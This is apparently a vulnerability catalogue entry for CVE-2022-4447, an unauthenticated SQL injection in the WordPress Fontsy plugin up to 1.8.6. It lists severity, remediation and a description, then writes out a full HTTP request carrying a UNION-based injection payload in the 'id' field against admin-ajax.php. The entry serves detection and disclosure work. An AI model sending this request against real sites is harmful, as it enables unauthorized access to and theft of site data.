| Title | WordPress Fontsy <=1.8.6 - SQL Injection |
|---|---|
| Author | theamanrawat |
| Severity | Critical |
| Impact | Successful exploitation of this vulnerability could allow an attacker to execute arbitrary SQL queries, potentially leading to unauthorized access, data leakage, or further compromise of the WordPress site. |
| Remediation | Update the Fontsy plugin to the latest version (>=1.8.7) or apply the vendor-provided patch to mitigate the SQL Injection vulnerability. |
| CVSS Score | 9.8 |
| EPSS Score | 0.77901 |
| CVE ID | CVE-2022-4447 |
| CWE ID | CWE-89 |
| Tags | cve cve2022 wordpress wp wpscan wp-plugin sqli fontsy unauth fontsy_project vkev vuln |
WordPress Fontsy plugin through 1.8.6 is susceptible to SQL injection. The plugin does not properly sanitize and escape a parameter before using it in a SQL statement via an AJAX action. An attacker can possibly obtain sensitive information, modify data, and/or execute unauthorized administrative operations in the context of the affected site.
POST /wp-admin/admin-ajax.php?action=get_tag_fonts HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Ubuntu; Linux i686) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36
Connection: close
Content-Length: 57
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip
id=-5219 UNION ALL SELECT NULL,NULL,NULL,md5(8649),NULL--
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2022/CVE-2022-4447.yaml
🦈 Packet Capture: ⬇️ Download cve-2022-4447.pcap
N/AN/A